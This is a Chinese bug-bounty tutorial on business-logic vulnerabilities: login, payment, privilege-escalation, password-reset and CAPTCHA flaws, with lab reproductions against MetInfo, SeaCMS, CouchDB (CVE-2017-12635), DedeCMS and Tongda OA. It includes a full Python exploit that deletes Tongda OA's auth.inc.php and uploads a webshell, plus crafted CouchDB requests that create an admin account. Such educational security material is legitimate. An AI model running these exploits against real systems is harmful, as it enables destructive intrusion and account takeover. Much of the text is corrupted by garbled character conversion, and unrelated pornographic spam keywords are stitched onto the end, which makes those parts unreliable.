1. <strong id="7actg"></strong>
    2. <table id="7actg"></table>

    3. <address id="7actg"></address>
      <address id="7actg"></address>
      1. <object id="7actg"><tt id="7actg"></tt></object>

        Src挖掘技巧分享 | 談?wù)剺I(yè)務(wù)邏輯漏洞

        共 9091字,需瀏覽 19分鐘

         ·

        2022-05-09 17:03

        本文首發(fā)于奇安信攻防社區(qū)

        原文鏈接:https://forum.butian.net/share/1453



        談?wù)剺I(yè)務(wù)邏輯漏洞

        業(yè)務(wù)邏輯漏洞簡介

        業(yè)務(wù)邏輯漏洞,是由于程序邏輯不嚴(yán)謹(jǐn)或邏輯太過復(fù)雜,導(dǎo)致一些邏輯分支不能正常處理或處理錯(cuò)誤,這樣的漏洞統(tǒng)稱為業(yè)務(wù)邏輯漏洞。

        簡單理解:就是編程人員的思維邏輯不夠嚴(yán)謹(jǐn)導(dǎo)致攻擊者有機(jī)可乘的漏洞

        邏輯漏洞還是一種雖然沒有在owasp top10 中提及到,但是往往會(huì)存在的漏洞。好像一名隱士,大隱隱于市,然而造成的破壞可能一點(diǎn)不比sql注入,xss等漏洞小。如下是邏輯漏洞的top10挖掘方向:

        根據(jù)漏洞出現(xiàn)位置來總結(jié)

        邏輯漏洞大概出現(xiàn)在如下幾處。下面我們根據(jù)出現(xiàn)位置來一處一處進(jìn)行總結(jié)

        登陸部分存在的邏輯漏洞

        暴力破解用戶名或密碼

        暴力破解用戶名密碼的情況,一般出現(xiàn)在登陸部分沒有驗(yàn)證碼機(jī)制,沒有根據(jù)用戶名限制失敗次數(shù),沒有根據(jù)ip限制失敗次數(shù)等情況下。

        通常思路:

        1. 直接拿密碼字典爆破某一個(gè)用戶名

        2. 拿固定的弱口令密碼,去跑top xxx的用戶名

        3. 如果只是用戶名限制失敗次數(shù),可以使用思路2的方法

        4. 在存在返回提示用戶名錯(cuò)誤或者密碼錯(cuò)誤的情況下,可以分別爆用戶名和密碼

        常見限制:有時(shí)候會(huì)發(fā)現(xiàn)用戶名或者密碼是密文加密,這時(shí)可能是通過前端或者其他方式加密,對(duì)于簡單的來說base64編碼和md5的簽名是很好識(shí)破的,在爆破的時(shí)候可以選擇encode和hash

        利用cookie&session

        cookie偽造

        Cookie偽造:通過修改 Cookie 中的某個(gè)參數(shù)來實(shí)現(xiàn)登錄其他用戶

        測(cè)試方法:

        1.使用一個(gè)賬號(hào)登錄,找一個(gè)可以證明身份的頁面,例如首頁的歡迎 xxx 或者是個(gè)人中心顯示昵稱的地方

        2.刷新該頁面攔截請(qǐng)求,觀察 Cookie 中的字段和值,例如 userid=xxx,修改Cookie中的值,把 xxx 改成 admin

        3.forword 放行,頁面顯示 admin 的信息,則存在此問題。

        ? 修復(fù)方法:對(duì)于客戶端標(biāo)識(shí)的用戶信息,使用 Session 會(huì)話認(rèn)證方式,避免通過 Cookie 去仿冒其他人的身份。

        Session會(huì)話固定攻擊

        Session會(huì)話固定攻擊:一種誘騙受害者使用攻擊者指定的會(huì)話標(biāo)識(shí)(Session id)的攻擊手段,利用了服務(wù)器的session 不變的機(jī)制

        攻擊步驟:

        1.攻擊者通過某種手段重置目標(biāo)用戶的 Session id,然后監(jiān)聽用戶會(huì)話狀態(tài)

        1. 目標(biāo)用戶攜帶攻擊者設(shè)定的Session id 登錄站點(diǎn)

        2. 攻擊者通過 Session id 獲得合法會(huì)話

        ? 攻擊者重置 Session id 的方法:通過xss,嗅探等方法取得用戶的session,修改數(shù)據(jù)包。

        ? 修復(fù)方法:每次登陸成功之后重新生成session,sessionID閑置過久時(shí),進(jìn)行重置sessionID

        案例-益云公益廣告越權(quán)修改漏洞

        用戶A創(chuàng)建一個(gè)廣告,記住id為420

        用戶B也創(chuàng)建個(gè)廣告,進(jìn)入修改頁面,截?cái)嘈薷恼?qǐng)求,并將id改為420

        支付處存在的邏輯漏洞

        支付處存在的邏輯漏洞很多,但是一言以蔽之:數(shù)據(jù)篡改。

        下面我們先來看一個(gè)支付處邏輯漏洞的復(fù)現(xiàn)。

        Tiny_shop CMS 邏輯漏洞復(fù)現(xiàn)

        環(huán)境搭建

        LAMP環(huán)境的安裝直接省略掉了,phpstudy一把梭非常的舒適。將源碼copy到phpstudy的WWW文件夾中,啟動(dòng)lamp環(huán)境,即可進(jìn)入安裝頁面

        http://127.0.0.1/TinyShop_v3.0/install/index.php?step=1


        ps:環(huán)境搭建成功后,我發(fā)現(xiàn)訪問index頁面顯示空白頁面。在大佬的提醒下發(fā)現(xiàn)是自己php版本不對(duì)(7.x)換成php5.x版本再次訪問即可

        支付邏輯漏洞復(fù)現(xiàn)

        首先點(diǎn)擊最上方的登陸按鈕,登陸默認(rèn)賬戶 [email protected] 密碼 test ?(自己注冊(cè)的)

        這里我們隨便選擇了一個(gè)商品,選擇好產(chǎn)品參數(shù)之后,點(diǎn)擊購買。

        點(diǎn)擊購買時(shí),使用bp進(jìn)行抓包,在數(shù)據(jù)包中,將表示商品數(shù)量的num變量改為負(fù)數(shù),然后forward這個(gè)數(shù)據(jù)包。

        這樣就利用網(wǎng)站漏洞成功薅到了店家羊毛

        除了上述修改商品數(shù)量的方法,支付處的邏輯漏洞還包含如下幾種思路,由于操作比較簡單且大同小異,這里為了節(jié)省篇幅只放利用思路。

        修改商品編號(hào)

        如果業(yè)務(wù)是通過商品編號(hào)來判斷價(jià)格的話,可能存在只修改A商品編號(hào)為B商品編號(hào),做到以A商品的價(jià)格購買B商品

        條件競爭

        支付處,多線程請(qǐng)求付款確認(rèn),結(jié)果如果余額為負(fù)數(shù),則存在該漏洞

        金額修改

        金額直接寫在了post或者get請(qǐng)求中,對(duì)其進(jìn)行修改達(dá)到修改了商品金額的效果

        充值中放棄訂單未失效

        在充值中選取大額充值訂單,放棄訂單,獲得訂單號(hào),之后充值小額訂單,拿到充值成功的界面,將訂單號(hào)修改為放棄的大額訂單,觀察是否成功

        業(yè)務(wù)辦理處-越權(quán)漏洞

        之前跟著ms08067的大佬學(xué)習(xí)的時(shí)候,剛好寫過相關(guān)筆記,還有幸發(fā)在該組織公眾號(hào)上了,這里扒過來

        0x01前言:越權(quán)訪問漏洞概念簡析

        ”授權(quán)“與“驗(yàn)證”

        了解越權(quán)訪問的概念,首先要了解授權(quán)和驗(yàn)證的概念:授權(quán)是指網(wǎng)站賦予特定人對(duì)網(wǎng)站特定資源的讀寫權(quán)限。而驗(yàn)證是網(wǎng)站用于檢查操作者是否真的可以對(duì)特定資源進(jìn)行讀寫

        “未授權(quán)訪問”

        未授權(quán)訪問是指用戶在沒有通過認(rèn)證授權(quán)的情況下,能夠直接訪問需要通過認(rèn)證才能訪問到的頁面或文本信息。

        那么,什么是越權(quán)漏洞?

        由于沒有對(duì)用戶權(quán)限進(jìn)行嚴(yán)格的判斷,導(dǎo)致低權(quán)限的賬號(hào)(比如普通用戶)可以去完成高權(quán)限賬號(hào)(比如超管)范圍內(nèi)的操作,如果能夠成功操作,則稱之為越權(quán)操作。越權(quán)漏洞形成的原因是后臺(tái)使用了 不合理的權(quán)限校驗(yàn)規(guī)則導(dǎo)致的。

        越權(quán)漏洞的產(chǎn)生原因

        開發(fā)人員在對(duì)數(shù)據(jù)進(jìn)行操作時(shí)對(duì)客戶端請(qǐng)求的數(shù)據(jù)過分相信,遺漏了對(duì)于客戶端權(quán)限的仔細(xì)判定。

        越權(quán)漏洞常見位置

        1. 修改、重置、找回其他賬戶密碼

        2. 查看、修改其他賬戶未公開的信息,例如個(gè)人資料、文件、數(shù)據(jù)、程序

        3. 賬戶關(guān)聯(lián)的權(quán)限操作

        0x02 越權(quán)訪問漏洞的兩大分類

        越權(quán)漏洞主要分為水平越權(quán)和垂直越權(quán)兩大類。

        水平越權(quán):同級(jí)別(權(quán)限)的用戶或者同一角色的不同用戶之間,可以越權(quán)訪問、修改或者刪除的非法操作。如果出現(xiàn)此漏洞,那么將可能會(huì)造成大批量數(shù)據(jù)泄露,嚴(yán)重的甚至?xí)斐捎脩粜畔⒈粣阂獯鄹摹?/span>

        例如兩個(gè)不同的公司A和B,通過修改請(qǐng)求,公司A可以任意修改B公司的員工、部門、考勤等信息。

        垂直越權(quán):指使用權(quán)限低的用戶可以訪問權(quán)限較高的用戶

        垂直越權(quán)危害:

        ? 向上越權(quán):普通用戶可以執(zhí)行管理員權(quán)限,比如發(fā)布文章、刪除文章等操作。

        ? 向下越權(quán):一個(gè)高級(jí)用戶可以訪問低級(jí)用戶信息(暴露用戶隱

        例如同一個(gè)公司的職員A和經(jīng)理B。顯然他們?cè)诠竞笈_(tái)管理系統(tǒng)中賬號(hào)的管理權(quán)限不同。垂直越權(quán)通過修改請(qǐng)求,職員A可以修改不在他管轄范圍內(nèi)的員工、考勤、工資等(自我加薪??)

        關(guān)于如上介紹的總結(jié)話,偷我親愛的來自MS08067團(tuán)隊(duì)的講師一張圖是再好不過了

        0x03 越權(quán)訪問漏洞實(shí)戰(zhàn)課內(nèi)復(fù)現(xiàn)

        水平越權(quán)

        metinfoV4.0越權(quán)漏洞復(fù)現(xiàn)

        環(huán)境準(zhǔn)備:

        下載metinfoV4.0CMS源碼進(jìn)行網(wǎng)站搭建

        • 下載地址:https://www.metinfo.cn/upload/file/update/MetInfo4.0.zip

        • 其他版本下載地址:http://www.metinfo.cn/upload/file/update/MetInfox.x.x.zip(將x.x.x改成對(duì)應(yīng)版本即可)

        • 源碼:MetInfo4.0.zip

        下載后將源碼解壓至phpstudy的web根目錄即可。

        解壓完畢后利用瀏覽器訪問網(wǎng)站地址進(jìn)入安裝目錄創(chuàng)建普通用戶進(jìn)行登錄

        登陸后進(jìn)入修改基本信息的頁面,隨便修改一個(gè)密碼,點(diǎn)擊提交信息的同時(shí)上傳

        抓包修改useid為管理員id

        成功修改管理員賬號(hào)密碼為123456,嘗試登陸

        成功登陸,在界面風(fēng)格->模板管理->添加新模板處發(fā)現(xiàn)一處文件上傳漏洞。將冰蝎木馬壓縮成zip文件成功上傳

        查看一下編輯模板參數(shù),報(bào)錯(cuò)是在意料之中的,我們需要的是木馬路徑

        使用冰蝎服務(wù)器端連接木馬。成功執(zhí)行

        海洋cms v9 越權(quán)漏洞

        環(huán)境準(zhǔn)備

        https://github.com/seacms/seacms-v9下載seacms9.0版本的源碼。還是使用php部署,部署過程非常簡單。注意php+mysql的版本一般就是一路綠燈。

        復(fù)現(xiàn)該漏洞需要注冊(cè)兩個(gè)網(wǎng)站賬號(hào)

        [email protected]/1234562.ms08067/123456

        漏洞復(fù)現(xiàn)

        分別用chrome 和微軟兩個(gè)瀏覽器登陸這兩個(gè)賬號(hào)

        通過抓包,獲取ms08067用戶的phpsessid為:df9jjuneuuqo5hgjjsid106km4

        在另一賬號(hào)[email protected]的修改密碼操作上抓包,并將sessid修改為ms08067賬號(hào)的sessid。嘗試更改密碼為123456789。放包,顯示修改成功。

        嘗試使用新密碼登陸ms08067賬戶,發(fā)現(xiàn)登陸成功。

        垂直越權(quán)

        Couchdb 垂直權(quán)限繞過漏洞(CVE-2017-12635)

        漏洞描述

        Apache CouchDB是一個(gè)開源數(shù)據(jù)庫,專注于易用性和成為”完全擁抱web的數(shù)據(jù)庫”。它是一個(gè)使用JSON作為存儲(chǔ)格式,JavaScript作為查詢語言,MapReduce和HTTP作為API的NoSQL數(shù)據(jù)庫。應(yīng)用廣泛,如BBC用在其動(dòng)態(tài)內(nèi)容展示平臺(tái),Credit Suisse用在其內(nèi)部的商品部門的市場框架,Meebo,用在其社交平臺(tái)(web和應(yīng)用程序)。

        在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露,CVE-2017-12636是一個(gè)任意命令執(zhí)行漏洞,我們可以通過config api修改couchdb的配置query_server,這個(gè)配置項(xiàng)在設(shè)計(jì)、執(zhí)行view的時(shí)候?qū)⒈贿\(yùn)行。

        影響版本:小于 1.7.0 以及 小于 2.1.1

        環(huán)境搭建

        使用虛擬機(jī)安裝docker,vulhub

        cd vulhub/couchdb/CVE-2017-12635 #進(jìn)入靶場目錄docker-compose up -d #開啟靶場docker ps #查看端口

        一個(gè)小報(bào)錯(cuò)處理

        p.s:運(yùn)行命令docker-compose up -d這里出現(xiàn)了一個(gè)報(bào)錯(cuò)。百度搜了一波,發(fā)現(xiàn)這是由于當(dāng)前用戶未加入docker組。解決方案是運(yùn)行命令

        sudo gpasswd -a ${USER} docker

        然后退出當(dāng)前用戶比如切換為root,再次切換回原用戶。然后執(zhí)行docker-compose up -d就ok了。

        漏洞原理分析

        由于Erlang和JavaScript對(duì)JSON解析方式的不同,導(dǎo)致語句執(zhí)行產(chǎn)生差異性(對(duì)于給定的鍵,Eralang解析器將存儲(chǔ)兩個(gè)值,但是JavaScript只存儲(chǔ)第二個(gè)值)

        如:Erlang:

        jiffy:decode(“{“a”:”1″, “a”:”2″}”).

        {[{<<“a”>>,<<“1”>>},{<<“a”>>,<<“2”>>}]}

        JavaScript:

        JSON.parse(“{“a”:”1″, “a”: “2”}”)

        {a: “2”}

        可以被利用于,非管理員用戶賦予自身管理員身份權(quán)限。

        參考文章:https://cloud.tencent.com/developer/article/1144778

        漏洞復(fù)現(xiàn)

        訪問服務(wù)器ip:5984并抓包將抓到的包發(fā)送給重發(fā)器(Repeater)并將發(fā)送數(shù)據(jù)改為如下(服務(wù)器IP地址為自己搭建的IP):

        PUT /_users/org.couchdb.user:qaq HTTP/1.1Accept: /Host: 192.168.160.141:5984/Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0Content-Type: application/jsonConnection: closeContent-Length: 101{"type": "user","name": "qaq","roles": ["_admin"],"password": "666666"}

        返回403錯(cuò)誤:{“error”:”forbidden”,”reason”:”O(jiān)nly _admin may set roles”}報(bào)錯(cuò)原因是只有管理員才能設(shè)置Role角色。通過增加一個(gè)roles字段數(shù)據(jù)包的方式繞過限制

        PUT /_users/org.couchdb.user:qaq HTTP/1.1Accept: /Host: 192.168.160.141:5984/Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0Content-Type: application/jsonConnection: closeContent-Length: 101{"type": "user","name": "qaq","roles": ["_admin"],"roles":[],"password": "666666"}

        通過新創(chuàng)建的用戶qaq/666666成功登錄

        復(fù)現(xiàn)完記得銷毀環(huán)境哦~目錄中執(zhí)行命令

        docker-compose down -v

        0x04 越權(quán)訪問漏洞課外復(fù)現(xiàn):

        通達(dá)OA11.6版本越權(quán)漏洞復(fù)現(xiàn)

        環(huán)境搭建

        現(xiàn)在通達(dá)官網(wǎng)已經(jīng)把版本升級(jí)到了11.7,所以下載11.6版本需要自己尋找資源

        傻瓜式安裝,配置界面如下。完成安裝之后就可以暫時(shí)不用管它了。記得接觸80端口占用(一般是要把phpstudy關(guān)掉)

        安裝完之后就可以訪問網(wǎng)站首頁了。這個(gè)漏洞復(fù)現(xiàn)手動(dòng)過程比較容易,執(zhí)行exp 寫馬就可以了

        exp:

        腳本內(nèi)容如下,核心思路就是刪除網(wǎng)站里的一個(gè)名為auth.inc.php的文件,進(jìn)而越權(quán)拿shell

        import requests#填寫iptarget="http://ip/"#一句話木馬的密碼是qaqpayload=""print("[*]Warning,This exploit code will DELETE auth.inc.php which may damage the OA")input("Press enter to continue")print("[*]Deleting auth.inc.php....")#刪除網(wǎng)站里的一個(gè)名為auth.inc.php的文件url=target+"/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php"  requests.get(url=url)print("[*]Checking if file deleted...")url=target+"/inc/auth.inc.php"page=requests.get(url=url).textif 'No input file specified.' not in page: ?  print("[-]Failed to deleted auth.inc.php") ?  exit(-1)print("[+]Successfully deleted auth.inc.php!")print("[*]Uploading payload...")url=target+"/general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.<>./.<>./.<>./"files = {'FILE1': ('deconf.php', payload)}requests.post(url=url,files=files)url=target+"/_deconf.php"page=requests.get(url=url).textif 'No input file specified.' not in page: ?  print("[+]Filed Uploaded Successfully") ?  print("[+]URL:",url)else: ?  print("[-]Failed to upload file")

        注意,該EXP不是無損EXP,會(huì)刪除auth.inc.php讓OA無法正常工作

        蟻劍拿shell

        程序執(zhí)行之后出現(xiàn)了一個(gè)URL,為一句話木馬所在位置。使用webshell管理工具(如蟻劍鏈接即可)

        dedecms v5.7越權(quán)漏洞復(fù)現(xiàn)

        環(huán)境搭建

        利用phpstudy搭建,下載源碼后copy進(jìn)根目錄安裝即可

        用戶名admin 密碼admin進(jìn)入后臺(tái),系統(tǒng)設(shè)置->系統(tǒng)基本參數(shù)->會(huì)員設(shè)置 將是否開啟會(huì)員功能一欄調(diào)為是

        接著返回網(wǎng)站主頁,注冊(cè)一個(gè)賬號(hào),記得不要設(shè)施安全提示問題

        接著回到后臺(tái)將等待驗(yàn)證郵件修改為:”審核通過,提示填寫完整信息”


        進(jìn)入 test123用戶的個(gè)人中心,打開bp抓包,將DedeUserID_ckMD5覆蓋為last_vid_ckMd5。修改完成后釋放該包

        此時(shí)發(fā)現(xiàn)test123用戶變成了admin

        使用F12打開控制臺(tái),進(jìn)入儲(chǔ)存,仍然是將DedeUserID_ckMD5覆蓋為last_vid_ckMd5。將DedeUserID的值修改為test123.

        刷新抓包,發(fā)送至repeater

        將location后的網(wǎng)址從http://ip/dedecms/member/resetpassword.php?dopost=getpasswd&id=1&key=gLZ6wS4E改為http://ip/dedecms/member/resetpassword.php?dopost=getpasswd&;id=1&key=gLZ6wS4E

        關(guān)閉代理訪問即可修改管理員賬戶密碼

        0x05 后記

        越權(quán)漏洞的產(chǎn)生歸根究底,還是由于網(wǎng)站開發(fā)者和管理者授權(quán)意識(shí)的淡薄,授權(quán)的濫用。因此,授權(quán)應(yīng)當(dāng)遵守如下幾條原則:

        1.使用最小權(quán)限原則對(duì)用戶進(jìn)行賦權(quán),對(duì)待權(quán)限做一只一毛都不多拔的鐵公雞

        2.使用合理(嚴(yán)格)的權(quán)限校驗(yàn)規(guī)則;

        3.使用后臺(tái)登錄狀態(tài)作為條件進(jìn)行權(quán)限判斷(別動(dòng)不動(dòng)就瞎用前端傳進(jìn)來的條件)

        密碼找回處存在的邏輯漏洞

        方法很多,思路重復(fù),這里挑重要的講

        返回憑證

        返回憑證的三種方式:

        \1. url返回憑證

        \2. 抓包返回憑證

        \3. 憑證在頁面中

        方法:

        1. URL返回憑證 
        使用firefox的firebug查看請(qǐng)求鏈接,看鏈接中是否有驗(yàn)證碼等密碼找回憑證
        2. 抓包直接返回
        根據(jù)手機(jī)號(hào)找回密碼后抓包,可以發(fā)現(xiàn)驗(yàn)證碼直接顯示 verifycode=xxxx,如果信息被加密,解密即可(其他信息同理)
        3. 密碼找回憑證在頁面中
        通過密保問題找回密碼,查看源碼,密保問題和答案就在源碼中顯示


        郵箱弱token

        1.Unix時(shí)間戳 + md5

        通過郵箱找回密碼,正常流程去郵箱查看重置密碼鏈接,發(fā)現(xiàn)鏈接處有一串 md5 加密字符串。字符串解密,類似 1491293277(10位),可以判斷為Unix時(shí)間戳。
        重置他人密碼只需利用他人郵箱發(fā)送重置密碼郵件,在短時(shí)間內(nèi)對(duì)Unix時(shí)間戳進(jìn)行暴力破解,即可獲得重置密碼的鏈接
        1. 用戶名

         重置密碼鏈接直接使用用戶名進(jìn)行區(qū)別,改變用戶名即可更改他人密碼
        1. 服務(wù)器時(shí)間

        利用兩個(gè)帳號(hào)同時(shí)點(diǎn)擊找回密碼,去郵箱查看找回密碼的鏈接,發(fā)現(xiàn)兩者的隨機(jī) token 只差1-2,而且可以猜測(cè) 
        出為服務(wù)器時(shí)間。所以可以用一個(gè)未知帳號(hào)和一個(gè)已知帳號(hào)同時(shí)點(diǎn)擊找回密碼,稍微遍歷隨機(jī) token,就可以構(gòu)造出未
        知帳號(hào)的密碼找回鏈接


        生成可控token

        舉例:

        例如當(dāng)我們通過郵箱找回密碼,正常流程下抓包查看提交驗(yàn)證碼后返回的數(shù)據(jù),有加密字符串,這個(gè)加密字符串和后面重新設(shè)置新密碼URL鏈接中的加密字符串一樣,所以可以利用這個(gè)加密字符串實(shí)現(xiàn)新密碼url中的加密字符串可控。于是根據(jù)上面提交驗(yàn)證碼的抓包,修改User 為其他用戶(User有可能會(huì)使用md5加密),發(fā)送就可以返回其他用戶的加密字符串。接著重新返回到找回密碼首頁,利用其他用戶找回,點(diǎn)下一步,到輸入驗(yàn)證碼處,直接修改URL鏈接,加入加密字符串,可 以直接繞過驗(yàn)證碼,重置密碼。

        驗(yàn)證碼處存在的邏輯漏洞

        暴力破解

        要了解常見驗(yàn)證碼機(jī)制:


        1. 有的驗(yàn)證碼輸入正確一次,在一定時(shí)間內(nèi)不用再輸入。

        2. 有的驗(yàn)證碼輸入正確一次,會(huì)在你session中設(shè)定一個(gè)值,告訴服務(wù)器你已經(jīng)通過驗(yàn)證碼驗(yàn)證了。

        3. 有的驗(yàn)證碼因?yàn)檫壿媶栴}只是一個(gè)擺設(shè),正常的邏輯為先對(duì)比驗(yàn)證碼是否正確,再檢測(cè)賬號(hào)密碼是否正確,反過來了就變成了擺設(shè)


        時(shí)間、次數(shù)突破:

        概念:重復(fù)提交攜帶驗(yàn)證碼的數(shù)據(jù)包,查看返回包,判斷次數(shù)

        測(cè)試方法:

        填寫正確登錄信息和驗(yàn)證碼 –> 抓取提交數(shù)據(jù)包 –> 重復(fù)提交該數(shù)據(jù)包 –> 查看是否登錄成功 –> 登錄成功則存在驗(yàn)證碼重復(fù)使用問題

        回顯測(cè)試:

        概念:驗(yàn)證碼直接由客戶端生成,在回顯中顯示,可通過瀏覽器工具直接查看

        測(cè)試方法:

        \1. 在源碼中顯示。源代碼審計(jì),搜索源碼中有無驗(yàn)證碼

        \2. 在COOKIE中顯示。抓包時(shí)分析COOKIE中是否含有驗(yàn)證碼

        繞過驗(yàn)證碼:

        漏洞成因:

        由于邏輯設(shè)計(jì)缺陷,可繞過驗(yàn)證,比如直接刪除COOKIE或驗(yàn)證碼參數(shù)可繞過、當(dāng)驗(yàn)證不通過清空session時(shí)。驗(yàn)證碼參數(shù)值為空時(shí)繞過等

        測(cè)試方法:

        Step1.輸入正確賬戶信息和錯(cuò)誤驗(yàn)證碼,登錄時(shí)抓包

        Step2.刪除COOKIE

        Step3.客戶端登陸成功

        特殊姿勢(shì):篡改手機(jī)號(hào)

        在需要手機(jī)號(hào)的短信驗(yàn)證處,抓包修改手機(jī)號(hào),可能做到非本賬號(hào)手機(jī)號(hào)獲取能夠編輯本賬號(hào)的驗(yàn)證碼

        后記

        邏輯漏洞看似復(fù)雜,亂花漸欲迷人眼。然而其實(shí)思路非常單一:先前端后后端順序枚舉各處漏洞點(diǎn)。其實(shí)考察的是你的耐心,細(xì)心,專心。

        參考鏈接

        https://blog.csdn.net/szming_/article/details/85317010

        https://blog.csdn.net/weixin_44288604/article/details/108144165



        往期精彩文章




        從一道題看PHP反序列化字符串溢出
        內(nèi)存取證方法之volatility?具的使?
        SQL注入姿勢(shì)-Mysql注入技巧



        技術(shù)支持:白帽子社區(qū)團(tuán)隊(duì)
        —?掃碼關(guān)注我們?




        瀏覽 52
        點(diǎn)贊
        評(píng)論
        收藏
        分享

        手機(jī)掃一掃分享

        分享
        舉報(bào)
        評(píng)論
        圖片
        表情
        推薦
        點(diǎn)贊
        評(píng)論
        收藏
        分享

        手機(jī)掃一掃分享

        分享
        舉報(bào)
        1. <strong id="7actg"></strong>
        2. <table id="7actg"></table>

        3. <address id="7actg"></address>
          <address id="7actg"></address>
          1. <object id="7actg"><tt id="7actg"></tt></object>
            嫩苞又嫩又紧AV无码| 91超碰人人操| 亚洲va在线va天堂va偷拍| 久久久久久久| 91色在线视频| 天天爽天天射| 91香蕉在线观看视频在线播放| 日韩激情在线观看| www.青青草| 亚洲精品系列|